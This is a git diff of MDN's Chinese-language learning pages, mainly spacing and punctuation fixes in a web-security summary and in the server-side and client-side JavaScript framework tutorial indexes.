-- 将你的服务器配制成 HTTPS 和 HTTP Strict Transport Security (HSTS)。HTTPS 会加密你的用户和服务器之间传输的信息。这使得登录认证、cookise、POST数据及头信息不易被攻击者获得。
+- 将你的服务器配制成 HTTPS 和 HTTP Strict Transport Security (HSTS)。HTTPS 会加密你的用户和服务器之间传输的信息。这使得登录认证、cookise、POST 数据及头信息不易被攻击者获得。
- 持续追踪那些常见的网络攻击 (the current OWASP list is here),先解决最脆弱的部分。
-- 使用 vulnerability scanning tools 来对你的网站进行一些安全测试(然后,你的非常受欢迎的网站还可以靠提供赏金来寻找bug,就像Mozilla这样(like Mozilla does here)。
-- 只存储和展示你不得不需要的东西。比如,如果你的用户不得不存储一些敏感信息(如信用卡详明),只展示足以让用户识别卡号的几位数字即可,却不足以让黑客复制之后在另一个站点使用。现今最常见的是只展示信用卡卡号后4位数字。
+- 使用 vulnerability scanning tools 来对你的网站进行一些安全测试 (然后,你的非常受欢迎的网站还可以靠提供赏金来寻找 bug,就像 Mozilla 这样(like Mozilla does here)。
+- 只存储和展示你不得不需要的东西。比如,如果你的用户不得不存储一些敏感信息(如信用卡详明),只展示足以让用户识别卡号的几位数字即可,却不足以让黑客复制之后在另一个站点使用。现今最常见的是只展示信用卡卡号后 4 位数字。
web框架可以帮助抵御很多常见的攻击。
+web 框架可以帮助抵御很多常见的攻击。
总结
-这篇文章介绍了有关网络安全的概念和你应该避免的一些常见的攻击。最重要的是,你应该明白一个web应用不可以相信任何来自网络服务器的数据!所有的用户数据在展示、使用SQL查询或者回应系统之前应该被过滤。
+这篇文章介绍了有关网络安全的概念和你应该避免的一些常见的攻击。最重要的是,你应该明白一个 web 应用不可以相信任何来自网络服务器的数据!所有的用户数据在展示、使用 SQL 查询或者回应系统之前应该被过滤。
-这也是这个模块的结尾,涵盖了你之前在服务器端编程学到的知识。我们希望你非常享受这个学习基础概念的过程,并且你现在已经准备好选择一个web框架开始编程了。
+这也是这个模块的结尾,涵盖了你之前在服务器端编程学到的知识。我们希望你非常享受这个学习基础概念的过程,并且你现在已经准备好选择一个 web 框架开始编程了。
{{PreviousMenu("Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}
diff --git a/files/zh-cn/learn/server-side/index.html b/files/zh-cn/learn/server-side/index.html index 7d4c4ec57f25fa..c6cf111ab0fcbc 100644 --- a/files/zh-cn/learn/server-side/index.html +++ b/files/zh-cn/learn/server-side/index.html @@ -15,9 +15,9 @@开始服务器端编程通常比客户端编程要简单,因为动态的页面倾向于执行非常类似的操作(从数据库中获取数据然后显示到一个页面中,确认用户输入的数据以及保存到一个数据库中,检查用户的权限和登陆用户,以及更多),并且它是用能使这些和其他的常见网页服务端操作变简单的网页框架来构建的。
-知道一些关于编程概念(或者关于一个特定的编程语言)的基础知识会很实用,但不是必要的。类似的,精通客户端编程也不是必修的,但一些基本知识会帮助你和创建你的客户端的 “前端” 开发者更融洽地工作。
+知道一些关于编程概念(或者关于一个特定的编程语言)的基础知识会很实用,但不是必要的。类似的,精通客户端编程也不是必修的,但一些基本知识会帮助你和创建你的客户端的“前端”开发者更融洽地工作。
-你会需要去理解 ”网页是如何工作的“。我们推荐你先去阅读以下主题:
+你会需要去理解”网页是如何工作的“。我们推荐你先去阅读以下主题:
-
- 什么是一个网页服务器 [What is a web server]
@@ -33,7 +33,7 @@模块
- 服务器端编程的第一步 [Server-side website programming first steps]
-- 这个模块提供了关于服务器端网页编程的服务器技术无关的信息 [server-technology-agnostic information],包括了关于服务器端编程的根本问题的答案——”它是什么“,”它跟客户端编程的区别“,和 ”为什么它很实用“——以及关于一些流行的服务器端框架的概述和如何为你的网站选择最合适的框架的指南。最后我们提供了一个关于网页服务器安全的介绍性部分。
+- 这个模块提供了关于服务器端网页编程的服务器技术无关的信息 [server-technology-agnostic information],包括了关于服务器端编程的根本问题的答案——”它是什么“,”它跟客户端编程的区别“,和”为什么它很实用“——以及关于一些流行的服务器端框架的概述和如何为你的网站选择最合适的框架的指南。最后我们提供了一个关于网页服务器安全的介绍性部分。
- Django 网页框架 [Django Web Framework (Python)]
- Django 是一个非常流行以及功能齐全的服务器端网页框架,它是用 Python 编写的。这个模块讲解了为什么 Django 是一个这么好的网页服务器框架,如何设立一个开发环境以及如何使用它来执行常见的任务。
- Express 网页框架 [Express Web Framework (Node.js/JavaScript)]
diff --git a/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/index.html b/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/index.html index 27389d673c81f7..bcab3ac9d43ede 100644 --- a/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/index.html +++ b/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/index.html @@ -1,5 +1,5 @@ --- -title: 理解客户端JavaScript框架 +title: 理解客户端 JavaScript 框架 slug: Learn/Tools_and_testing/Client-side_JavaScript_frameworks tags: - JavaScript @@ -11,113 +11,113 @@ ---{{LearnSidebar}}-JavaScript框架是现代前端web开发的重要部分,为开发人员提供了构建可伸缩、交互式web应用程序的经过测试的工具。许多现代公司使用框架作为工具的标准部分,因此许多前端开发工作现在需要框架经验。
+JavaScript 框架是现代前端 web 开发的重要部分,为开发人员提供了构建可伸缩、交互式 web 应用程序的经过测试的工具。许多现代公司使用框架作为工具的标准部分,因此许多前端开发工作现在需要框架经验。
-作为一个有抱负的前端开发人员,很难找出从哪里开始学习框架——有这么多不同的框架可供选择,新的问题出现,他们大多以类似的方式工作,但做一些不同的事情,还有一些具体的事情时要小心使用框架。
+作为一个有抱负的前端开发人员,很难找出从哪里开始学习框架——有这么多不同的框架可供选择,新的问题出现,他们大多以类似的方式工作,但做一些不同的事情,还有一些具体的事情时要小心使用框架。
-在这一系列文章中,我们旨在为您提供一个舒适的起点,帮助您开始学习框架。我们的目标不是详尽地教给你所有你需要知道的关于React/ReactDOM,或者Vue,或者其他一些特定的框架;框架团队自己的文档已经完成了这项工作。相反,我们想备份和首先回答更基本的问题,如:
+在这一系列文章中,我们旨在为您提供一个舒适的起点,帮助您开始学习框架。我们的目标不是详尽地教给你所有你需要知道的关于 React/ReactDOM,或者 Vue,或者其他一些特定的框架;框架团队自己的文档已经完成了这项工作。相反,我们想备份和首先回答更基本的问题,如:
-
-- 为什么要使用框架?他们为我解决了什么问题?
-- 当我尝试选择一个框架时,我应该问什么问题?我甚至需要使用框架吗?
-- 框架有什么特性?它们一般是如何工作的?框架对这些特性的实现有何不同?
-- 它们与“普通的”JavaScript或HTML有什么关系?
+- 为什么要使用框架?他们为我解决了什么问题?
+- 当我尝试选择一个框架时,我应该问什么问题?我甚至需要使用框架吗?
+- 框架有什么特性?它们一般是如何工作的?框架对这些特性的实现有何不同?
+- 它们与“普通的”JavaScript 或 HTML 有什么关系?
在此之后,我们将提供一些教程,介绍一些主要框架的基本内容,为您提供足够的上下文和熟悉感,以便您自己开始更深入地学习。我们希望你以一种实用的方式来学习框架,不要忘记web平台的基本最佳实践,比如可访问性。
+在此之后,我们将提供一些教程,介绍一些主要框架的基本内容,为您提供足够的上下文和熟悉感,以便您自己开始更深入地学习。我们希望你以一种实用的方式来学习框架,不要忘记 web 平台的基本最佳实践,比如可访问性。
前提条件
-在尝试学习客户端框架(HTML、CSS,特别是JavaScript)之前,您应该首先真正学习核心web语言的基础知识。
+在尝试学习客户端框架 (HTML、CSS,特别是 JavaScript) 之前,您应该首先真正学习核心 web 语言的基础知识。
-如果你理解了框架底层的基础Web平台特性,你将能编写更加健壮和专业的代码,更容易地排除问题。
+如果你理解了框架底层的基础 Web 平台特性,你将能编写更加健壮和专业的代码,更容易地排除问题。
说明指导
-
- 1. 客户端框架介绍
-- 我们首先从以下话题开始研究框架,框架领域的总览,JavaScript和框架历史的简介,为什么需要框架以及框架能带给我们什么,如何考虑选择一个框架开始学习,有什么其它的客户端框架可供选择。
+- 我们首先从以下话题开始研究框架,框架领域的总览,JavaScript 和框架历史的简介,为什么需要框架以及框架能带给我们什么,如何考虑选择一个框架开始学习,有什么其它的客户端框架可供选择。
- 2. 框架的主要特性
-- 每种JavaScript框架都有自己不同的方式更新DOM,处理浏览器事件,为开发者提供愉悦的使用体验,这篇文章将探索“四大”框架的主要特性,从高级角度探讨框架的工作方式以及它们之间的区别。
+- 每种 JavaScript 框架都有自己不同的方式更新 DOM,处理浏览器事件,为开发者提供愉悦的使用体验,这篇文章将探索“四大”框架的主要特性,从高级角度探讨框架的工作方式以及它们之间的区别。
React教程
+React 教程
-Note: React教程最后测试于2020年5月,基于React/ReactDOM 16.13.1和create-react-app 3.4.1.
+Note: React 教程最后测试于 2020 年 5 月,基于 React/ReactDOM 16.13.1 和 create-react-app 3.4.1.
-如果你需要确认你的代码与我们的版本区别,你可以在我们的todo-react repository仓库找到React应用示例代码的完整版本。想要获取当前最新的版本,查看https://mdn.github.io/todo-react-build/.
+如果你需要确认你的代码与我们的版本区别,你可以在我们的todo-react repository仓库找到 React 应用示例代码的完整版本。想要获取当前最新的版本,查看https://mdn.github.io/todo-react-build/.
-
-- 1. 开始使用React
-- 此章节我们将向React打招呼。我们将能发现有关React的背景和使用场景的一些细节,在我们的计算机上设置基本的React工具链,创建和运行简单的入门应用,学习React在这个过程是如何工作的。
-- 2. 开始我们的React待办清单
-- 假设我们计划使用React创建proof-of-concept,一个允许用户添加,编辑和删除工作任务,不删除的情况标记任务完成的应用。此章节将带你完成基本的
-App
组件结构和样式,为最后即将添加的独立组件定义和交互做好准备。- 3. 组件化我们的React应用
-- 到这个阶段,我们的应用仍是一个单一结构。在让它工作之前,我们需要将它分解为可管理的描述性组件。React对于组件没有任何硬性规定--这完全取决于你!在此章节我们将向你展示一个合理的方式来将我们的应用分解成 组件。
-- 4. React交互:事件和状态
+- 1. 开始使用 React
+- 此章节我们将向 React 打招呼。我们将能发现有关 React 的背景和使用场景的一些细节,在我们的计算机上设置基本的 React 工具链,创建和运行简单的入门应用,学习 React 在这个过程是如何工作的。
+- 2. 开始我们的 React 待办清单
+- 假设我们计划使用 React 创建 proof-of-concept,一个允许用户添加,编辑和删除工作任务,不删除的情况标记任务完成的应用。此章节将带你完成基本的
+App
组件结构和样式,为最后即将添加的独立组件定义和交互做好准备。- 3. 组件化我们的 React 应用
+- 到这个阶段,我们的应用仍是一个单一结构。在让它工作之前,我们需要将它分解为可管理的描述性组件。React 对于组件没有任何硬性规定--这完全取决于你!在此章节我们将向你展示一个合理的方式来将我们的应用分解成 组件。
+- 4. React 交互:事件和状态
- 我们的组件化计划已经完成,现在是时候开始将我们的应用从一个完全静态的界面更新成允许交互和变更的界面。在这个章节我们将继续研究事件和状态,借此实现上述功能。
-- 5. React交互:编辑,过滤,条件渲染
-- 我们已经接近React旅程的终点(至少目前是这样),我们将对我们的Todo列表应用的主要功能区域做最后的更改。这包括允许编辑现有的任务,在所有列表,已完成列表和未完成列表中过滤任务。在这个过程中我们将研究条件渲染。
-- 6. React的可访问性支持
-- 在我们最后的教程章节,我们将重点介绍可访问性,包括React的焦点管理,这可以提高可用性,降低纯键盘用户和屏幕阅读器用户的困扰。
-- 7. React资源
-- 我们的最后章节提供了一个React资源列表,供你用于进一步的学习。
+- 5. React 交互:编辑,过滤,条件渲染
+- 我们已经接近 React 旅程的终点(至少目前是这样),我们将对我们的 Todo 列表应用的主要功能区域做最后的更改。这包括允许编辑现有的任务,在所有列表,已完成列表和未完成列表中过滤任务。在这个过程中我们将研究条件渲染。
+- 6. React 的可访问性支持
+- 在我们最后的教程章节,我们将重点介绍可访问性,包括 React 的焦点管理,这可以提高可用性,降低纯键盘用户和屏幕阅读器用户的困扰。
+- 7. React 资源
+- 我们的最后章节提供了一个 React 资源列表,供你用于进一步的学习。
Ember教程
+Ember 教程
-Note: Ember教程最后测试于2020年5月,基于Ember/Ember CLI version 3.18.0.
+Note: Ember 教程最后测试于 2020 年 5 月,基于 Ember/Ember CLI version 3.18.0.
-如果你需要确认你的代码与我们的版本区别,你可以在ember-todomvc-tutorial repository找到Ember应用示例代码的完整版本。想要获取当前最新的版本,查看https://nullvoxpopuli.github.io/ember-todomvc-tutorial/ (这还包含了本教程未覆盖到的一些额外的特性)。
+如果你需要确认你的代码与我们的版本区别,你可以在ember-todomvc-tutorial repository找到 Ember 应用示例代码的完整版本。想要获取当前最新的版本,查看https://nullvoxpopuli.github.io/ember-todomvc-tutorial/ (这还包含了本教程未覆盖到的一些额外的特性)。
-
-- 1. 开始使用Ember
-- 在我们的Ember第一章节中我们将了解Ember的工作原理及其用途,本地安装Ember工具链,创建一个示例应用,然后做一些初始化设置以便开始开发。
-- 2. Ember应用结构和组件化
-- 在此章节,我们将继续规划我们的TodoMVC Ember应用,为其添加HTML部分,随后将这些HTML分解为组件。
-- 3. Ember交互:事件,类和状态
-- 至此,我们将添加一些交互行为到我们的应用,使其能够添加和显示新的待办事项。在此过程中,我们将研究如何在Ember中使用事件,创建包含JavaScript代码的组件类来控制交互功能,并且设置服务来跟踪我们的应用的数据状态。
-- 4. Ember交互:页脚功能,条件渲染
+- 1. 开始使用 Ember
+- 在我们的 Ember 第一章节中我们将了解 Ember 的工作原理及其用途,本地安装 Ember 工具链,创建一个示例应用,然后做一些初始化设置以便开始开发。
+- 2. Ember 应用结构和组件化
+- 在此章节,我们将继续规划我们的 TodoMVC Ember 应用,为其添加 HTML 部分,随后将这些 HTML 分解为组件。
+- 3. Ember 交互:事件,类和状态
+- 至此,我们将添加一些交互行为到我们的应用,使其能够添加和显示新的待办事项。在此过程中,我们将研究如何在 Ember 中使用事件,创建包含 JavaScript 代码的组件类来控制交互功能,并且设置服务来跟踪我们的应用的数据状态。
+- 4. Ember 交互:页脚功能,条件渲染
- 现在是时候开始在我们的应用中处理页脚功能了。这里我们将更新待办事项计数器以正确显示待完成待办事项的数量,并正确地为已完成事项应用样式(i.e. 对应列表项的复选框处于选中状态)。我们还将实装我们的“Clear completed”按钮。在这个过程中,我们将学习在我们的模板中使用条件渲染。
-- 5. Ember路由
-- 在此章节我们学习路由,有时也称为URL-based过滤。我们将使用它来为三个待办视图------"All","Active"和"Completed"提供全局唯一的URL。
-- 6. Ember资源和疑难解答
-- 我们的最后一个Ember章节提供了一个供你进一步学习的资源列表,还有一些有用的疑难解答和其他信息。
+- 5. Ember 路由
+- 在此章节我们学习路由,有时也称为 URL-based 过滤。我们将使用它来为三个待办视图------"All","Active"和"Completed"提供全局唯一的 URL。
+- 6. Ember 资源和疑难解答
+- 我们的最后一个 Ember 章节提供了一个供你进一步学习的资源列表,还有一些有用的疑难解答和其他信息。
Vue教程
+Vue 教程
-Note: Vue教程最后测试于2020年5月,基于Vue 2.6.11.
+Note: Vue 教程最后测试于 2020 年 5 月,基于 Vue 2.6.11.
-如果你需要确认你的代码与我们的版本区别,你可以在todo-vue repository找到Vue应用示例代码的完整版本。想要获取当前当前最新的版本,查看https://mdn.github.io/todo-vue/dist/.
+如果你需要确认你的代码与我们的版本区别,你可以在todo-vue repository找到 Vue 应用示例代码的完整版本。想要获取当前当前最新的版本,查看https://mdn.github.io/todo-vue/dist/.
-
- 1. 开始使用Vue
-- 现在让我们开始介绍Vue,我们的第三个框架。在此章节我们将简单了解Vue的背景,学习如何安装Vue以及如何创建一个新项目,学习整个项目的高级架构以及独立的组件,了解如何在本地运行这个项目,并准备开始构建我们的示例。
-- 2. 创建我们的第一个Vue组件
-- 现在是时候深入Vue,创建我们自己的自定义组件了--我们将从创建一个用来展示待办列表项目的组件开始。在这个过程中,我们将学习一些重要的概念例如在一个组件中调用另一个组件,通过props传递数据给另一个组件并保存数据状态。
-- 3. 渲染Vue组件列表
+- 1. 开始使用 Vue
+- 现在让我们开始介绍 Vue,我们的第三个框架。在此章节我们将简单了解 Vue 的背景,学习如何安装 Vue 以及如何创建一个新项目,学习整个项目的高级架构以及独立的组件,了解如何在本地运行这个项目,并准备开始构建我们的示例。
+- 2. 创建我们的第一个 Vue 组件
+- 现在是时候深入 Vue,创建我们自己的自定义组件了--我们将从创建一个用来展示待办列表项目的组件开始。在这个过程中,我们将学习一些重要的概念例如在一个组件中调用另一个组件,通过 props 传递数据给另一个组件并保存数据状态。
+- 3. 渲染 Vue 组件列表
- 至此我们已经得到了一个完全可用的组件,我们现在已经准备好添加多个
-ToDoItem
组件到我们的应用中了。在此章节我们将了解如何添加一组待办项数据到我们的App.vue
组件,这组数据我们随后使用v-for
指令将它们循环并显示到ToDoItem
组件中。- 4. 添加一个新的待办表单:Vue事件,方法和模型
+- 4. 添加一个新的待办表单:Vue 事件,方法和模型
- 现在我们的应用已经有了示例数据和一个循环来将每条数据渲染到
-ToDoItem
中。下一步我们要做的是让用户能够输入他们自己的待办事项到这个应用中。 为此我们需要一个文本输入框<input>
,一个在数据提交时触发的事件,一个在数据提交时被触发来添加数据和渲染列表的方法和一个用来控制数据的模型。这就是这个章节我们将要介绍的内容。- 5. 使用CSS美化Vue组件
-- 终于到了美化我们的应用的时间了。在此章节我们将探索用CSS美化Vue组件的不同方法。
-- 6. 使用Vue计算属性
-- 在这个章节我们将添加一个显示已完成待办项目数量的计数器,使用Vue的一个叫做计算属性的特性。计算属性与方法相似,但是只有它的依赖内容变更时才会再次运作。
-- 7. Vue条件渲染:编辑既有待办项
-- 现在是时候加入我们还未实现一个主要功能部分了------编辑既有待办项。为了实现这个功能,我们将利用Vue的条件渲染能力------
-v-if
和v-else
来使既有待办项目在查看状态和文本编辑状态之间切换。我们还将添加删除待办项的功能。- 8. 使用Vue refs进行焦点管理
-- 我们快要完成Vue的使用了。最后要看的一个功能是焦点管理,换种说法,如何改善我们的应用的键盘可操作性。我们将解决这个问题,通过Vue refs------一个允许你直接操作虚拟DOM的底层DOM,或在组件中直接操作其子组件内部DOM结构的高级特性。
-- 9. Vue资源
-- 我们将提供一个你可以用来进一步学习的资源列表来圆满结束我们的Vue学习教程,从这个列表中你也可以获取一些有用的技巧。
+- 5. 使用 CSS 美化 Vue 组件
+- 终于到了美化我们的应用的时间了。在此章节我们将探索用 CSS 美化 Vue 组件的不同方法。
+- 6. 使用 Vue 计算属性
+- 在这个章节我们将添加一个显示已完成待办项目数量的计数器,使用 Vue 的一个叫做计算属性的特性。计算属性与方法相似,但是只有它的依赖内容变更时才会再次运作。
+- 7. Vue 条件渲染:编辑既有待办项
+- 现在是时候加入我们还未实现一个主要功能部分了------编辑既有待办项。为了实现这个功能,我们将利用 Vue 的条件渲染能力------
+v-if
和v-else
来使既有待办项目在查看状态和文本编辑状态之间切换。我们还将添加删除待办项的功能。- 8. 使用 Vue refs 进行焦点管理
+- 我们快要完成 Vue 的使用了。最后要看的一个功能是焦点管理,换种说法,如何改善我们的应用的键盘可操作性。我们将解决这个问题,通过 Vue refs------一个允许你直接操作虚拟 DOM 的底层 DOM,或在组件中直接操作其子组件内部 DOM 结构的高级特性。
+- 9. Vue 资源
+- 我们将提供一个你可以用来进一步学习的资源列表来圆满结束我们的 Vue 学习教程,从这个列表中你也可以获取一些有用的技巧。
我们应该选择哪个框架?
diff --git a/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/introduction/index.html b/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/introduction/index.html index d1b2d2f50f5eaa..3251f8119a1a40 100644 --- a/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/introduction/index.html +++ b/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/introduction/index.html @@ -14,70 +14,70 @@{{NextMenu("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}-在本章节我们开始大致了解框架, 简要回顾JavaScript和框架的历史,为什么框架会存在以及它们提供了什么, 如何开始考虑选择一个框架并学习, 以及对于客户端框架还有什么替代方案.
+在本章节我们开始大致了解框架,简要回顾 JavaScript 和框架的历史,为什么框架会存在以及它们提供了什么,如何开始考虑选择一个框架并学习,以及对于客户端框架还有什么替代方案。
先决条件: -熟悉 HTML, CSS, 以及 JavaScript 语言的核心. +熟悉 HTML, CSS, 以及 JavaScript 语言的核心。 - 目标: -了解客户端JavaScript框架是如何存在的,它们能解决什么问题,还有哪些替代方案,以及如何选择一个框架. +目标: +了解客户端 JavaScript 框架是如何存在的,它们能解决什么问题,还有哪些替代方案,以及如何选择一个框架。 简史
-当JavaScript在1996被发布后, 它给网络增加了少许的交互性和乐趣, 直到那时, 网页仍由静态文档组成. 网络应该不仅仅是阅读,更是创造的地方. 随着JavaScript的流行. 使用JavaScript的开发者们创造工具来解决他们遇到的问题, 并且将其打包成称为库的可复用组件, 这样就能和他人共享解决方案. 这种共享库的体系帮助塑造了网络的增长.
+当 JavaScript 在 1996 被发布后,它给网络增加了少许的交互性和乐趣,直到那时,网页仍由静态文档组成。网络应该不仅仅是阅读,更是创造的地方。随着 JavaScript 的流行。使用 JavaScript 的开发者们创造工具来解决他们遇到的问题,并且将其打包成称为库的可复用组件,这样就能和他人共享解决方案。这种共享库的体系帮助塑造了网络的增长。
-现在, JavaScript是网络的基本部分, used on 95% of all websites, 而且网络又是现代生活的基本部分. 用户在网络上写文章, 管理预算, 听音乐, 看电影, 以及和相隔万里的人通过文字, 音频, 视频聊天来瞬时交流. 网络让我们能够做到那些过去只能在电脑上安装本地应用程序才能做到的事. 这些现代的, 复杂的, 具有交互性的网站通常被称为 网络应用程序.
+现在,JavaScript 是网络的基本部分,used on 95% of all websites, 而且网络又是现代生活的基本部分。用户在网络上写文章,管理预算,听音乐,看电影, 以及和相隔万里的人通过文字,音频,视频聊天来瞬时交流。网络让我们能够做到那些过去只能在电脑上安装本地应用程序才能做到的事。这些现代的,复杂的,具有交互性的网站通常被称为 网络应用程序.
-现代JavaScript框架的到来加快了打造高度动态化和交互性强的应用程序的速度. 框架 就是提供该如何构建应用程序的意见的库。这些意见能使应用具有可预测性和同质性。可预测性让软件能在扩展到很大规模的同时仍保持可维护性。可预测性和可维护性对于一个软件的长久健康运行是十分重要的。
+现代 JavaScript 框架的到来加快了打造高度动态化和交互性强的应用程序的速度. 框架 就是提供该如何构建应用程序的意见的库。这些意见能使应用具有可预测性和同质性。可预测性让软件能在扩展到很大规模的同时仍保持可维护性。可预测性和可维护性对于一个软件的长久健康运行是十分重要的。
-在现代网络中,JavaScript框架为众多令人印象深刻的软件提供支持——包括许多你可能每天都使用的网站。你正在阅读的这个MDN Web 文档页面, 就是使用React / ReactDOM框架为其前端提供动力。
+在现代网络中,JavaScript 框架为众多令人印象深刻的软件提供支持——包括许多你可能每天都使用的网站。你正在阅读的这个 MDN Web 文档页面,就是使用 React / ReactDOM 框架为其前端提供动力。
-有哪些框架?
+有哪些框架?
有很多框架可供你选择,但以下主要介绍目前公认的“四大框架”。
Ember
-Ember于2011年12月发布,最初作为SproutCore项目的延续而开始。比其新式的替代品(例如React和Vue),作为老框架它的用户人数要少得多。但因其稳定性、社区支持以及一些明智的编程原则,它仍然享有很高的知名度。
+Ember于 2011 年 12 月发布,最初作为SproutCore项目的延续而开始。比其新式的替代品(例如 React 和 Vue),作为老框架它的用户人数要少得多。但因其稳定性、社区支持以及一些明智的编程原则,它仍然享有很高的知名度。
Angular
-Angular 是一个开源 Web 应用程序框架,正式发布于2016年9月14日。它由构建 AngularJS 的团队完全重写,并由 Google 的 Angular 团队以及个人和公司社区共同领导。
+Angular 是一个开源 Web 应用程序框架,正式发布于 2016 年 9 月 14 日。它由构建 AngularJS 的团队完全重写,并由 Google 的 Angular 团队以及个人和公司社区共同领导。
-Angular 是一种基于组件的框架,使用声明式的HTML模板。在应用构建时,框架的编译器将 HTML 模板转换为优化好的 JavaScript 指令,这一过程对开发者是透明的。Angular 使用 TypeScript,它是 JavaScript 的超集,我们将在下一章中对其进行更多介绍。
+Angular 是一种基于组件的框架,使用声明式的 HTML 模板。在应用构建时,框架的编译器将 HTML 模板转换为优化好的 JavaScript 指令,这一过程对开发者是透明的。Angular 使用 TypeScript,它是 JavaScript 的超集,我们将在下一章中对其进行更多介绍。
Vue
-在工作和学习了 AngularJS 的源码之后,Evan You (尤雨溪) 在2014年第一次发布 Vue 。Vue 是“四大框架”中最年轻的,但在最近,它的人气迅速上升。
+在工作和学习了 AngularJS 的源码之后,Evan You(尤雨溪)在 2014 年第一次发布 Vue 。Vue 是“四大框架”中最年轻的,但在最近,它的人气迅速上升。
Vue,就像 AngularJS,用它自己的代码拓展了 HTML。除此之外,它完全依赖于现代的、标准化的 JavaScript。
React
-Facebook 在 2013 发布了 React。在当时 React 已经被Facebook内部用来解决许多问题。 严格来说 React 本身并不是框架,而是一个用来渲染UI 组件的库。 React 被用来组合其它用来构建应用的库 —— React 和 React Native 让开发者能够用 JavaScript 构建移动应用; React 和 ReactDOM 使他们能够被用来制作 web 应用程序等。
+Facebook 在 2013 发布了 React。在当时 React 已经被 Facebook 内部用来解决许多问题。严格来说 React 本身并不是框架,而是一个用来渲染 UI 组件的库。React 被用来组合其它用来构建应用的库 —— React 和 React Native 让开发者能够用 JavaScript 构建移动应用;React 和 ReactDOM 使他们能够被用来制作 web 应用程序等。
因为 React 和 ReactDOM 被经常放在一起使用,通俗地讲,React 可以被理解为是一个 JavaScript 框架。当你通读了这个模块时,我们将使用这种口语化的理解进行工作。
React 用类似 HTML 的语法的 JSX 拓展了 JavaScript。
-框架为何会存在?
+框架为何会存在?
我们已经讨论了因为什么契机而创造了框架,但我们仍不知道为什么开发者认为有必要创造它。要知道这个问题的答案,我们首先需要检查软件开发中的各种挑战。
-设想一个很常见的软件:一个To-Do清单创建器,在接下来的章节中我们会使用各种框架来实现它。这个应用应让用户可以完成诸如呈现任务列表、添加和删除任务等操作,且在完成这些操作的同时能可靠地跟踪和更新应用程序的底层数据。在软件开发中,这种底层数据被称为状态。
+设想一个很常见的软件:一个 To-Do 清单创建器,在接下来的章节中我们会使用各种框架来实现它。这个应用应让用户可以完成诸如呈现任务列表、添加和删除任务等操作,且在完成这些操作的同时能可靠地跟踪和更新应用程序的底层数据。在软件开发中,这种底层数据被称为状态。
上述每个目标理论上都很简单。我们可以遍历数据来列出清单,添加一个对象来创建新任务,使用标识符来查找、编辑和删除任务。需要注意的是,用户都是在浏览器中使用应用的这些功能,然而这就引出了一些问题: 每当我们修改应用的数据时,我们都需要更新用户界面以使其匹配。
-我们可以通过To-Do应用的一个功能来检验这个问题的难点:呈现任务清单。
+我们可以通过 To-Do 应用的一个功能来检验这个问题的难点:呈现任务清单。
-冗长的DOM操作
+冗长的 DOM 操作
Building HTML elements and rendering them in the browser at the appropriate time takes a surprising amount of code. Let's say that our state is an array of objects structured like this:
@@ -152,7 +152,7 @@冗长的DOM操作
node.removeChild()
另一种打造UIs的方式
+另一种打造 UIs 的方式
Every JavaScript framework offers a way to write user interfaces more declaratively. That is, they allow you to write code that describes how your UI should look, and the framework makes it happen in the DOM behind the scenes.
diff --git a/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/main_features/index.html b/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/main_features/index.html index 174d19505cc916..9ab62c2b3c3495 100644 --- a/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/main_features/index.html +++ b/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/main_features/index.html @@ -7,16 +7,16 @@{{PreviousMenuNext("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction","Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_getting_started", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}-每种JavaScript框架都有自己不同的方式更新DOM,处理浏览器事件,为开发者提供愉快的使用体验,这篇文章将探索“四大”框架的主要特性,从高级角度探讨框架的工作方式以及它们之间的区别。
+每种 JavaScript 框架都有自己不同的方式更新 DOM,处理浏览器事件,为开发者提供愉快的使用体验,这篇文章将探索“四大”框架的主要特性,从高级角度探讨框架的工作方式以及它们之间的区别。
- 先决条件: +先决条件: 熟悉核心的 HTML, CSS 和 JavaScript 语言。 - diff --git a/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/react_getting_started/index.html b/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/react_getting_started/index.html index 16e16185cfef50..2bdee5a19ad11c 100644 --- a/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/react_getting_started/index.html +++ b/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/react_getting_started/index.html @@ -41,7 +41,7 @@目标: +目标: 了解框架主要代码的特性。 你好 React
为了构建 Web 应用,开发人员将 React 与 ReactDOM 结合使用。React 和 ReactDOM 通常被与其他真正的 Web 开发框架相提并论,并用于解决相同的问题。当我们将 React 称为“框架”时,就是在进行口语化的理解。
-React 的主要目标是最大程度地减少开发人员构建 UI 时发生的错误。它通过使用组件——描述部分用户界面的、自包含的逻辑代码段——来实现此目的。这些组件可以组合在一起以创建完整的 UI,React 将许多渲染工作进行抽象化,使您可以专注于 UI 设计(译者注:显而易见,此设计不等于视觉稿的设计)。
+React 的主要目标是最大程度地减少开发人员构建 UI 时发生的错误。它通过使用组件——描述部分用户界面的、自包含的逻辑代码段——来实现此目的。这些组件可以组合在一起以创建完整的 UI,React 将许多渲染工作进行抽象化,使您可以专注于 UI 设计 (译者注:显而易见,此设计不等于视觉稿的设计)。
用例
@@ -72,7 +72,7 @@React 如何使用 JavaScript?
);--注意:上一个代码段中的括号并非 JSX 的一部分,它对您的应用程序没有任何影响,括号只是用来向您(和您的计算机)表明其中的多行代码属于同一个表达式(译者注:原文表述实在有点啰嗦)。因此上面的代码等同于:
+注意:上一个代码段中的括号并非 JSX 的一部分,它对您的应用程序没有任何影响,括号只是用来向您(和您的计算机)表明其中的多行代码属于同一个表达式 (译者注:原文表述实在有点啰嗦)。因此上面的代码等同于:
